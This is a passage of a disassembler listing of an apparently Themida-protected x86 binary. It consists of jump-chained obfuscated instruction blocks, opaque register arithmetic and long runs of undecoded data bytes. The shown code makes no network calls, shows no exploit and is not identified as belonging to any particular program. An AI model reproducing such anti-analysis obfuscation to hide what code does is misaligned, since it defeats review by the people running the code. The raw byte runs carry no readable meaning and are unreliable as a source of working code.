		dd 4CF8B924h, 0C801694Ah, 8DE6E959h, 4810000h, 7A0FE124h
		dd 0ED815D4Eh, 4E7A0FE1h, 8FED815Bh, 81211C45h,	1E18C2C5h
		dd 0F0E58140h, 0E9494D3Dh, 4DE5h
; ---------------------------------------------------------------------------


loc_592538:				; CODE XREF: Themida_:00598A8Fj
		add	ebx, 0FA0E8B46h
		jmp	loc_599E41
; ---------------------------------------------------------------------------
		db 53h
		dd 832687BBh, 5BD8013Dh, 54BF3081h, 5A5879A4h, 0FF205F29h
		dd 835B2434h, 0EC8104C4h, 4, 0E431E9h, 2434FF00h, 348EE9h
		dd 55685D00h, 8900007Eh, 5FBA2414h, 0E9422C0Eh,	0BDA6h
; ---------------------------------------------------------------------------


loc_592584:				; CODE XREF: Themida_:0059154Fj
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5A04A2
; ---------------------------------------------------------------------------
		dw 5556h
		dd 56CFABDh, 0E889502Eh, 3562E9h, 4C68100h, 51000000h
		dd 4B9h, 59CE2900h, 5C243487h, 68243489h, 4, 8124348Bh
		dd 4C4h, 0DDC58100h, 1351379h, 0DDED81F5h, 5E351379h, 5B596853h
		dd 2C890000h, 35666824h, 2C8B1E7Fh, 4C48124h, 0C1000000h
		dd 0F58105EDh, 0F3F9A9h, 0D3A6E9h, 4B800h, 0CDE90000h
		dd 5B0000B6h, 4C381h, 0C3810000h, 4, 0E9241C87h, 620Ch
		dd 0EE81FE29h, 1D3D3F2Bh, 0FFEBF4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592631:				; CODE XREF: Themida_:0059E1B6j
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_5977B5
; ---------------------------------------------------------------------------


loc_59263A:				; CODE XREF: Themida_:0059A617j
		mov	ebp, [esp]
		add	esp, 4


loc_592643:				; CODE XREF: Themida_:00593680j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_594987
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2F0C7D29h, 16F5814Dh, 5163924Bh, 28688CB9h, 0C8C9816Fh
		dd 0E9354D6Ch, 682Bh, 8704C283h, 815C2414h, 84A55EAh, 0E6EA8114h
		dd 112D253h, 0A5CE9CAh,	0C8010001h, 7D34E9h, 8FE95300h
		dd 8100003Dh, 0B61099EBh, 330686Bh, 0C890000h, 4CA3B924h
		dd 0C3815F73h, 45334454h, 10918E9h
		db 0
; ---------------------------------------------------------------------------


loc_5926B9:				; CODE XREF: Themida_:005A0CEDj
		mov	esp, [esp]
		movzx	cx, al
		push	7C4Dh
		mov	[esp], edx
		push	esp
		jmp	loc_58F94F
; ---------------------------------------------------------------------------
		dw 67BAh
		dd 81543A46h, 104D2AC2h, 0D9EA8171h, 0E977D14Fh, 5CA0h
; ---------------------------------------------------------------------------


loc_5926E4:				; CODE XREF: Themida_:0058F061j
		pop	edx
		push	1CD4h
		mov	[esp], edi
		mov	edi, 4
		add	eax, edi
		push	dword ptr [esp]
		jmp	loc_591A41
; ---------------------------------------------------------------------------


loc_5926FC:				; CODE XREF: Themida_:0059AC26j
		push	ebx
		push	ecx
		push	79437C1h
		pop	ecx
		jmp	loc_59B1C8
; ---------------------------------------------------------------------------
aBayuFsig	db 'íyu¹F鈣',0
		align 4
		dd 4F18B468h, 9E3E94Ah,	335C0000h, 0FCE92404h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592727:				; CODE XREF: Themida_:0059CD9Cj
		mov	[esp], eax
		jmp	loc_592493
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78100h, 87000000h, 248B243Ch, 2BF5724h, 1000000h
		dd 0FF555FFDh, 5D042474h, 0FD8BE9h, 240C8700h, 93EFE9h
		dd 8BF20900h, 0C4832434h, 2BC28104h, 122C802h, 49E95AD3h
		dd 5100003Fh, 0FFCFB4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592779:				; CODE XREF: Themida_:005A0BC4j
		mov	esi, 6A3C600Bh
		jmp	loc_59EBD0
; ---------------------------------------------------------------------------
aLS		db '‹$$éÚÉ',0
		dw 8B00h
		dd 0C4812434h, 4, 0D5D1E9h, 24048B00h, 81E18951h, 4C1h
		dd 4C18300h, 0D5EFE951h, 34890000h, 4BE24h, 1BE90000h
		dd 8700003Ch, 8A5C242Ch, 8802247Ch, 66022474h, 8324148Bh
		dd 0EC8302C4h, 0A1E3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5927D6:				; CODE XREF: Themida_:005908F9j
		push	edi
		jmp	loc_58FA1D
; ---------------------------------------------------------------------------


loc_5927DC:				; CODE XREF: Themida_:005A1A7Ej
		add	eax, 29BF7836h
		sub	eax, ebp
		sub	eax, 29BF7836h
		pop	ebp
		jmp	loc_58F6F6
; ---------------------------------------------------------------------------
aIcsyz		db '䍎yZ',0
		dd 0E1BA5200h, 831C670Fh, 0EA81FFEAh, 7CA22130h, 3797BB53h
		dd 81430344h, 4A0FDFCBh, 0F959E962h, 0E530FFFFh, 0FFD958E9h
		dd 0E9F321FFh, 0CFDh, 8924248Bh, 0E389241Ch, 4C381h, 68560000h
		dd 974h, 3021E9h
		db 0
; ---------------------------------------------------------------------------


loc_59283D:				; CODE XREF: Themida_:005908C7j
		sub	ebp, esi
		push	ecx
		mov	ecx, 3ACE3987h
		not	ecx
		shr	ecx, 4
		add	ecx, 3720339h
		add	ebp, ecx
		jmp	loc_58FB7F
; ---------------------------------------------------------------------------
		db 8Fh
		dd 665C2404h, 2404A30Fh, 0BAEDE99Ch, 0F701FFFFh, 0FFE396E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59286D:				; CODE XREF: Themida_:0059CFB2j
		mov	[esp], edi
		push	4
		pop	edi
		jmp	loc_5A0B82
; ---------------------------------------------------------------------------


loc_59287B:				; CODE XREF: Themida_:0059A98Bj
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A2A94
; ---------------------------------------------------------------------------
		dd 32ACED81h, 0F58108E3h, 0E9065A95h, 0AADFE9h,	50F78100h
		dd 310AE273h, 2434FFF8h, 2F1D685Fh, 3C890000h, 68E78924h
		dd 321Ah, 0BD242C89h, 6C7F542Ch, 93ED8145h, 4515271Ch
		dd 0DDF7DDF7h, 3797ED81h, 87E95758h, 680000ADh,	5CBBh
		dd 54241489h, 8324148Bh, 0E95704C4h, 0FFFFDBB7h, 3AAF781h
		dd 79E93458h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5928F7:				; CODE XREF: Themida_:0059AF86j
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_59613F
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 4C481h, 14330000h, 0DA86E924h, 1C8BFFFFh
		dd 4C48324h, 81E28952h,	4C2h, 4C28300h,	5C241487h, 4245C01h
		dd 0F8D9E9h, 182D3500h,	0C329486Ah, 5BD90158h, 0FFD4C1E9h
		dd 4C481FFh, 0E9000000h, 2D71h,	625CC281h, 0D001E201h
		dd 8324148Bh, 386804C4h, 89000069h, 0EC83243Ch,	240C8904h
		dd 7F5D9B68h, 240C8B38h, 4904C483h, 0E9E78957h,	0C1h
; ---------------------------------------------------------------------------


loc_59297C:				; CODE XREF: Themida_:0059E927j
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59D8A4
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 0F901710h, 0FFF9A2E9h, 0C48359FFh, 55576604h, 8904EC83h
		dd 6866241Ch, 0D2E96FEDh, 8B000080h, 0C4832434h, 609B3504h
		dd 0BA523BC5h, 3FF3507Fh, 148BD029h, 4C48324h, 0D2377E05h
		dd 0E9F80123h, 0BF7Fh, 0E902E9C0h, 0FFFFC349h, 0F634E954h
		dd 348B0000h, 4C48324h,	0FFF95DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5929E9:				; CODE XREF: Themida_:00596350j
		mov	[esp], eax
		jmp	loc_59F034
; ---------------------------------------------------------------------------


loc_5929F1:				; CODE XREF: Themida_:00596B7Aj
		sub	edi, 546A1E65h
		jmp	loc_598D91
; ---------------------------------------------------------------------------
		dd 0E289525Ch, 4C281h, 0EE90000h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_592A0B:				; CODE XREF: Themida_:0059B4D0j
		not	dword ptr [esp]
		pop	edx
		add	edx, 0E91AD2CCh
		mov	ebp, edx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebp, 9B839F73h
		sub	eax, ebp
		pop	ebp
		jmp	loc_5A2269
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 53000000h, 4BBh, 47A6E900h, 0CCBD0000h, 0E922B115h
		dd 9307h, 3E5AC181h, 0E981117Fh, 0E93159FEh, 159C829h
		dd 0AFBF57F8h, 0E95CCE5Dh, 1C87h, 8104C483h, 584D54EDh
		dd 0E9D50162h, 8814h, 5C241C87h, 0B9240C89h, 36EB0C51h
		dd 0A2B6E955h, 24890000h, 24048324h, 24048F04h,	4240483h
		dd 8B2434FFh, 0E9502404h, 1B38h, 0EE88A1B5h, 0F4885059h
		dd 88E28852h, 48B5AD1h,	4C48124h, 0E9000000h, 547Eh, 0C104C483h
		dd 50E907E6h, 830000CDh, 0D5E904ECh, 8100004Fh,	54BF2434h
		dd 478F79A4h, 20B85020h, 0E9000000h, 0A87Eh, 5C24048Fh
		dd 0FF241C89h, 0FF042474h, 5E92434h, 810000A7h,	0D35AC6C5h
		dd 37ED813Ah, 2940D823h, 37C581CDh, 0E940D823h,	2E23h
		dd 4C48359h, 4C181h, 0C6E90000h, 0F7000078h, 0B0F1E9DFh
		dd 535F0000h, 3609E9h, 0E99C5000h, 0FFFFB80Fh, 6E2DCA81h
		dd 0CA810112h, 32CB56A6h, 8105EAC1h, 0A1689EC2h, 5AD131CBh
		dd 62E9CD29h, 56000082h, 4BEh, 5EF20100h, 0E9241487h, 0FFFFFE88h
		dd 0A62AEBBBh, 4DBD5533h, 0F7395D5Eh, 0F7D5F7D5h, 0A8ED81D5h
		dd 0E9A18527h, 82E3h, 0E7C1DFF7h, 4EC8106h, 89000000h
		dd 0F3B82404h, 50248637h, 582414F7h, 0FFCC44E9h, 0E75A05FFh
		dd 0C531E8FBh, 7EDC158h, 7E76ED81h, 0ED812ABDh,	445A0BDCh
		dd 0F60FED81h, 0E8019297h, 2404875Dh, 4C4835Ch,	3795E9h
		dd 5DEA0900h, 72BCE950h, 0DF290000h, 2BF2BA52h,	0F4E96AB9h
		dd 590000A6h, 685DEA89h, 6CE2h,	9C92E9h
		db 0
; ---------------------------------------------------------------------------


loc_592BFD:				; CODE XREF: Themida_:00599DE5j
		xchg	eax, [esp]
		jmp	loc_5973BB
; ---------------------------------------------------------------------------
		db 55h,	0FFh, 74h
		dd 0E95D0424h, 84D4h, 8104C483h, 4C3h, 4C38100h, 53000000h
		dd 0F180E9h, 3900BA00h,	0F6E92F42h
		db 0DBh, 2 dup(0FFh)
byte_592C2F	db 81h			; DATA XREF: Themida_:0058E0F0o
		dd 4ECh, 2487E900h, 54510000h, 0A1CE959h, 0B2680000h, 8900005Ah
		dd 0B6BA2414h, 8117E838h, 354ECBC2h, 8BEA8147h,	31FEBE14h
		dd 0BE565AD3h, 53A756Ah, 0FFE168E9h, 24248BFFh,	2CEFE9h
		db 0
; ---------------------------------------------------------------------------


loc_592C71:				; CODE XREF: Themida_:005A0230j
		push	62C6h
		mov	[esp], edx
		push	3C87h
		mov	[esp], ecx
		push	ebx
		jmp	loc_5936F4
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFBF29E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592C8D:				; CODE XREF: Themida_:005954E6j
		sub	esp, 4
		jmp	loc_5A0C40
; ---------------------------------------------------------------------------
		db 68h,	41h, 79h
		dd 1C890000h, 24048124h, 22E31E58h, 58EE815Eh, 5622E31Eh
		dd 0B2243481h, 5D299C2Ch, 2CB2F581h, 8B5E299Ch,	8957241Ch
		dd 4C781E7h, 0E9000000h, 0E158h
; ---------------------------------------------------------------------------


loc_592CCC:				; CODE XREF: Themida_:005916EFj
		sub	edi, 0C86546Ah
		add	edi, eax
		jmp	loc_59ADCB
; ---------------------------------------------------------------------------
		db 1, 0C3h, 8Bh
		dd 73E92404h, 810000FCh, 63A6FF5h, 4EED812Ch, 5169331h
		dd 728A51F3h, 0F32DE801h, 5D728A51h, 49E9565Ah,	50000062h
		dd 2E5576B8h, 0D134E941h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592D0E:				; CODE XREF: Themida_:0058EACEj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5956CA
; ---------------------------------------------------------------------------
		db 68h
		dd 35F1h, 89240489h, 0A811E9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592D2A:				; CODE XREF: Themida_:0059E28Dj
		shr	edi, 5
		xor	edi, 1B3AECEh
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4FE9393Eh
		jmp	loc_59B41F
; ---------------------------------------------------------------------------


loc_592D41:				; CODE XREF: Themida_:005A0E75j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5969FB
; ---------------------------------------------------------------------------
aQrs		db 'QRé´Æ',0
		align 4
aSpiQiPiIcst	db 'SPˆÈQˆÅPˆìˆçéâ*',0
		dd 5EF33100h, 3E38EB81h, 0DA893996h, 88C6815Bh,	16AD751h
		dd 0D1D1E9D6h, 0B850FFFFh, 13A05075h, 5F4E9h, 61E95D00h
		dd 8900005Eh, 0BFE95FFEh
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592D97:				; CODE XREF: Themida_:005A1633j
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_592DA5:				; CODE XREF: Themida_:005938A3j
		mov	bh, dl
		pop	dx
		push	eax
		mov	al, 0A0h
		mov	dl, 0FBh
		xor	dl, al
		pop	eax
		add	dl, 0BBh
		sub	dl, bh
		sub	dl, 0BBh
		pop	ebx
		neg	dl
		push	ecx
		mov	ch, 0E9h
		dec	ch
		jmp	loc_59E0A5
; ---------------------------------------------------------------------------
		dw 32BFh
		dd 81057476h, 0BF2717CFh, 81D7F768h, 3D256ACFh,	0BF8DE971h
		dd 562D0000h, 109A01Fh,	0FC05E9C1h, 0BB530000h,	2, 0FFEB70E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592DF5:				; CODE XREF: Themida_:00596C1Dj
		mov	[esp], eax
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0C0369ABBh, 5BDE2142h, 70B85055h, 55320139h,	6E56E9h
		dd 83C18100h, 56179F02h, 5887E9h, 53162D00h, 0FE2D036Ah
		dd 0E97EE17Bh, 91B7h
; ---------------------------------------------------------------------------


loc_592E30:				; CODE XREF: Themida_:0059C198j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A0096
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 81B5BEBEh, 835EF501h, 2C8704EDh, 0F9D2E924h,	575DFFFFh
		dd 42474FFh, 83243C8Bh,	48F04C4h, 8B665C24h, 0EC812404h
		dd 4, 83241489h, 248904ECh, 0C87FE924h,	0EB810000h, 1880578Ah
		dd 177EB81h, 0EB814E11h, 43BE6B54h, 0C381D301h,	43BE6B54h
		dd 177C381h, 0C3814E11h, 1880578Ah, 0A055E9h, 27A60500h
		dd 0F82914AFh, 749BB951h, 0D9F73524h, 1A95E9h, 47316800h
		dd 34890000h, 0C838E924h, 405FFFFh, 5000000h, 4, 0D398E9h
		dd 0E9EA8700h, 0FFFFD4D0h, 4EC81h, 0C890000h, 81E18924h
		dd 4C1h, 33C8E900h, 33BD0000h, 0F7608E07h, 1312E9D5h, 34890000h
		dd 6869E924h, 4B80000h,	29000000h, 2C8758C5h, 2A9BE924h
		dd 0E95F0000h, 0FFFFDF68h
dword_592F1C	dd 240C8B66h, 52E38953h, 0C281E289h, 4,	4EA81h,	0FF520000h
					; DATA XREF: Themida_:0058E100o
		dd 0E9042474h, 4CE3h, 797CC181h, 0F9017511h, 797CE981h
		dd 335F7511h, 0C31240Ch, 240C3324h, 6624248Bh, 6600B60Fh
		dd 0E93EAB68h, 0F6FCh, 2434895Ch, 8904EC83h, 4832424h
		dd 348B0424h, 4C48324h,	4C681h,	4D680000h, 89000008h, 0E9532404h
		dd 1BA3h, 4B8h,	24440100h, 24048B04h, 4C481h, 685B0000h
		dd 411Ah, 0E9242C89h, 0DA8h, 4BFh, 0CEBD5500h, 0C15D9C11h
		dd 0D5E905EDh, 0BDFFFFECh, 1B181910h, 0FFFFED81h, 0ED81FFFFh
		dd 7D7902FBh, 0EDC1D5F7h, 0A5F58106h, 55018983h, 0F3243481h
		dd 5F22B919h, 5576BB53h, 0F38123E1h, 5A9D34F4h,	6166E9h
		dd 5CAEBF00h, 0CCE94908h, 8100002Fh, 0C406C4F2h, 2DEA811Fh
		dd 89029237h, 0EF815AD1h, 6C810210h, 0C781CF29h, 6C810210h
		dd 243C8759h, 0CA50E95Ch, 0C15EFFFFh, 0E95507E2h, 0C7E5h
		dd 51243C8Bh, 0C1815954h, 4, 8704C183h,	575C240Ch, 0C84BF0BFh
		dd 0E212E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59304E:				; CODE XREF: Themida_:00594949j
		add	esi, edx
		pop	edx
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	1478h
		mov	[esp], ebx
		push	esi
		mov	esi, 35F57431h
		jmp	loc_599926
; ---------------------------------------------------------------------------
		db 83h
		dd 0A46804C4h, 8900003Eh, 0AFB5240Ch, 4E9DE9h, 4C48100h
		dd 8B000000h, 89502414h, 0FE34E9E0h, 34FFFFFFh,	0C4815824h
		dd 4, 1A59E950h, 15D0000h, 3C8B5AD0h, 4C48124h,	2D000000h
		dd 51C53CC7h, 0C705F029h, 2D51C53Ch, 55EB23D3h,	9ABFE95Eh
		dd 0C4830000h, 4C58104h, 83000000h, 2C8704C5h, 24248B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5A0DC3
; ---------------------------------------------------------------------------
		dd 4EC8152h, 89000000h,	2CBD242Ch, 812F9B3Ch, 35417CC5h
		dd 962AE953h, 0B1B50000h, 0FFE24BE9h, 0F5815DFFh, 4A4F18B0h
		dd 4EC81h, 2C890000h, 24348124h, 0D944DB0h, 81243C8Bh
		dd 4C4h, 0B0F78100h, 8B0D944Dh,	0C483242Ch, 0AAC18104h
		dd 1332A02h, 822CE9F9h,	0C8000000h, 2434FF59h, 4C4835Ah
		dd 3FE68h, 240C8900h, 5574E9h, 81CA2900h, 952DD3EAh, 2434FF37h
		dd 5A506859h, 75E90000h, 8B00005Bh, 0C483242Ch,	0F18104h
		dd 89145010h, 86E959CEh, 54000096h, 8124048Fh, 42404h
		dd 3C8B0000h, 4C48124h,	68000000h, 6112h, 78B8E9h, 24048700h
		dd 0FC00B5Ch, 0D68784h,	33366800h, 0C890000h, 0BB535724h
		dd 7E626B56h, 685BDF89h, 7E626C54h, 5FF92959h, 9CCBE9h
		dd 82F58100h, 1418869h,	242C8BEEh, 4C481h, 0F3010000h
		dd 0BC0CE95Eh, 148BFFFFh, 4C48124h, 0F6000000h,	51CBFEDBh
		dd 0EB30BDB5h, 5BD82059h, 5FAB68h, 241C8900h, 659968h
		dd 243C8900h, 0DF5CE957h, 0EE810000h, 1E585713h, 0F1E9DE01h
		dd 81FFFFC2h, 0A7168EDh, 243C8B01h, 0E904C483h,	0D89h
		dd 4A19F281h, 2DE91FA8h, 8100008Dh, 4C3h, 241C8700h, 58C1815Ch
		dd 0E90AAF7Ah, 0A1ACh
; ---------------------------------------------------------------------------


loc_593248:				; CODE XREF: Themida_:005A16A2j
		mov	[esp], ebp
		push	eax
		mov	eax, 1D1B7D91h
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		or	esi, ebp
		mov	ebp, [esp]
		jmp	loc_5A0292
; ---------------------------------------------------------------------------


loc_593263:				; CODE XREF: Themida_:0059ECBAj
		xor	dword ptr [edx], 6427D79h
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59DF3D
; ---------------------------------------------------------------------------


loc_593280:				; CODE XREF: Themida_:0059F403j
		pop	ebp
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_597893
; ---------------------------------------------------------------------------


loc_593292:				; CODE XREF: Themida_:00595AEDj
		add	eax, 4
		jmp	loc_59ED5F
; ---------------------------------------------------------------------------
aIcsX?Ys0x	db '‰çS»å?ßyé0•',0
		dd 44EE8100h, 121077Ah,	0CCBA52FEh, 811C3830h, 1557CDCAh
		dd 92CA810Eh, 8170774Ah, 3F6C4FCAh, 9BF28139h, 15E7805h
		dd 0EE815AD6h, 60074E50h, 4425685Fh, 34890000h,	2414F724h
		dd 0E924348Bh, 8027h, 4C281h, 52500000h, 586099BAh, 0A0CEB849h
		dd 742DC455h, 295F2208h, 87405D0h, 0E95A5F22h, 0FABAh
		dd 5C242C33h, 9C240CFFh, 0FFB036E9h, 242C81FFh,	655A3BECh
		dd 0C909E95Bh, 575BFFFFh, 886C8FBFh, 0FFC78353h, 7554CF81h
		dd 0CF812E22h, 5172D26h, 0C781DFF7h, 2D6B5EECh,	2337C781h
		dd 0F829820Bh, 5571E9h
		db 0
; ---------------------------------------------------------------------------


loc_593355:				; CODE XREF: Themida_:0058F22Dj
		sub	bl, dh
		jmp	loc_59B1E6
; ---------------------------------------------------------------------------
		dd 4244481h, 44630091h,	4246C29h, 4246C81h, 44630091h
		dd 242C815Dh, 3226732Eh, 0FFB71BE9h, 5ABA52FFh,	0E94DE457h
		dd 9F79h, 24148B5Dh, 81E68956h,	4C6h, 4EE8300h,	0E9243433h
		dd 8AF5h
; ---------------------------------------------------------------------------


loc_5933A0:				; CODE XREF: Themida_:00599DB3j
		neg	eax
		xor	eax, 30ED6673h
		add	eax, 502F4C14h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 34737A3Eh
		shr	esi, 3
		add	esi, 0FC3A75EFh
		xor	edi, esi
		jmp	loc_597932
; ---------------------------------------------------------------------------
aTlSsl		db 'T‹<$éá‹',0
		dw 8B00h
		dd 0C481243Ch, 4, 0A3E9C329h
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5933E3:				; CODE XREF: Themida_:0059F00Aj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_5974BA
; ---------------------------------------------------------------------------
byte_5933FB	db 0F7h			; DATA XREF: Themida_:0058E228o
		dd 0E99C241Ch, 0FFFFAF4Fh, 104C483h, 645068D0h,	34890000h
		dd 34BFBE24h, 0F0016079h, 603CE95Eh, 0EE810000h, 4, 0D555E9h
		dd 8AC18000h, 687DF180h, 7AEFh,	88241489h, 885351CEh, 0E4F9E9F7h
		dd 0E953FFFFh, 0B7CBh, 8BEB895Dh, 2868242Ch, 89000043h
		dd 0EC83242Ch, 4EC8104h, 0E9000000h, 0EBE6h, 42474FFh
		dd 0FFC519E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59346D:				; CODE XREF: Themida_:00594A80j
		or	edx, eax
		shl	edx, 1
		push	ebp
		jmp	loc_59FFFD
; ---------------------------------------------------------------------------
		db 54h
		dd 4C18159h, 53000000h,	4BBh, 8BD90100h, 0C483241Ch, 69BAE904h
		dd 0FF570000h, 5F042474h, 13F4E9h
		db 0
; ---------------------------------------------------------------------------


loc_59349D:				; CODE XREF: Themida_:0059B25Cj
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_5A01FE
; ---------------------------------------------------------------------------
		dd 0E9241489h, 2E5Fh, 555BDD01h, 42474FFh, 0E9242C8Bh
		dd 0CC04h, 793CAC2Dh, 42D5B2Ch,	33000000h, 4312404h, 24043324h
		dd 0D265E9h, 0BB539700h, 37572F70h, 0B1DE9h, 243C8900h
		dd 9A1E9EBFh, 0F490E96Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5934FA:				; CODE XREF: Themida_:0059A21Ej
		sub	ebp, 1E4643F2h
		sub	eax, ebp
		pop	ebp
		push	esi
		jmp	loc_591231
; ---------------------------------------------------------------------------
		dd offset dword_455248+30720h
		align 2
		dw 0C89h
		dd 119CE924h, 0B9510000h, 4, 3E8AE9h, 0B8505E00h, 0CAA54F8h
		dd 63033525h, 0F3FFE97Ah
		db 2 dup(0FFh)
word_593532	dw 77FFh		; DATA XREF: Themida_:0058E2BCo
		dd 58669D1Ch, 9C240418h, 0FFAE12E9h, 58C331FFh,	45AB68h
		dd 241C8900h, 0FFD8D9E9h, 85B850FFh, 4809CA72h,	25E95240h
		dd 8300001Ah, 2C8704C5h, 136DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59356A:				; CODE XREF: Themida_:0058EAC8j
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_59876B
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 592434FFh, 815EE9h, 8B535C00h, 0A2E9243Ch
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_59358B:				; CODE XREF: Themida_:00590027j
		mov	bh, 30h
		mov	dh, 0AAh
		add	dh, bh
		pop	ebx
		mov	cl, dh
		pop	edx
		sub	al, cl
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59C65E
; ---------------------------------------------------------------------------
		dw 5D68h
		dd 89000018h, 0E789243Ch, 0E904EC83h, 0A088h, 0E924348Bh
		dd 2EA8h, 34FFEB30h, 0C4815924h, 4, 3072EB80h, 0CB55E9D8h
		dd 585F0000h, 8904EC83h, 7AE92404h, 890000AFh, 4C181E1h
		dd 83000000h, 0C3304E9h, 240C3124h, 5C240C33h, 0E9243489h
		dd 0FFFFB581h, 3C8BFE89h, 8C54E924h, 0C890000h,	0FE5DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59361A:				; CODE XREF: Themida_:005996D0j
		mov	bh, 0F6h
		and	bh, 44h
		jmp	loc_59712F
; ---------------------------------------------------------------------------
		dd 700C581h, 0C5814041h, 5BE25221h, 0BB53DD01h,	5DF009D5h
		dd 25D1E9h, 143C6800h, 14890000h, 2474FF24h, 24148B04h
		dd 8F04C483h, 248B2404h, 4896624h, 0ACF5E924h, 0C181FFFFh
		dd 4, 4C181h, 0C870000h, 0B323E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593672:				; CODE XREF: Themida_:005A318Aj
		pop	ecx
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_592643
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		jmp	loc_595798
; ---------------------------------------------------------------------------


loc_593691:				; CODE XREF: Themida_:0058FEADj
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_59438A
; ---------------------------------------------------------------------------


loc_5936A2:				; CODE XREF: Themida_:005916CCj
		sub	ebx, eax
		pop	eax
		add	ebx, 12C7426h
		add	ebx, edx
		sub	ebx, 12C7426h
		add	ebx, 2A092957h
		sub	ebx, 2E1406B0h
		add	eax, [ebx]
		pop	ebx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	1711h
		mov	[esp], eax
		jmp	loc_591CF9
; ---------------------------------------------------------------------------
		dw 55Ch
		dd 0FFFFFFFFh, 9CB7E9h,	0E95E5400h, 0C10Bh
; ---------------------------------------------------------------------------


loc_5936F4:				; CODE XREF: Themida_:00592C82j
		mov	bh, 67h
		mov	cl, 31h
		sub	cl, bh
		pop	ebx
		push	eax
		mov	ah, 0A1h
		mov	dh, 89h
		sub	dh, ah
		pop	eax
		sub	dh, cl
		jmp	loc_59387F
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0BAFAh, 0A4AEE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593716:				; CODE XREF: Themida_:005A03DEj
		sub	esi, 1AD3664h
		mov	ebx, [esp]
		add	esp, 4
		and	esi, 19B8381Ah
		sub	esi, 11B81006h
		add	ecx, esi
		pop	esi
		jmp	loc_5977E5
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4C281E2h, 83000000h,	148704C2h, 8BF7E924h, 0DBBE0000h
		dd 0F735F81Bh, 51EED1DEh, 0AA8AE9h, 24048900h, 2B8h, 0E9C18900h
		dd 0FFFFD2DCh, 4C19BE56h, 0EED1266Ch, 4604EEC1h, 38E9h
		dd 4C58300h, 5C242C87h,	8904EC83h, 2868242Ch, 8B580510h
		dd 0C483242Ch, 0B8505104h, 0AB1647Bh, 0BF16E9h,	0E9CF2900h
		dd 269Ch, 8804C483h, 240C8BCFh,	0C45CE9h, 0F7D6F700h, 1EF681DEh
		dd 19A7D7Fh, 6DE95EF5h,	8B0000A7h, 9668241Ch, 8900007Ch
		dd 0E589242Ch, 4C581h, 0C5810000h, 4, 5C242C87h, 0E779BF66h
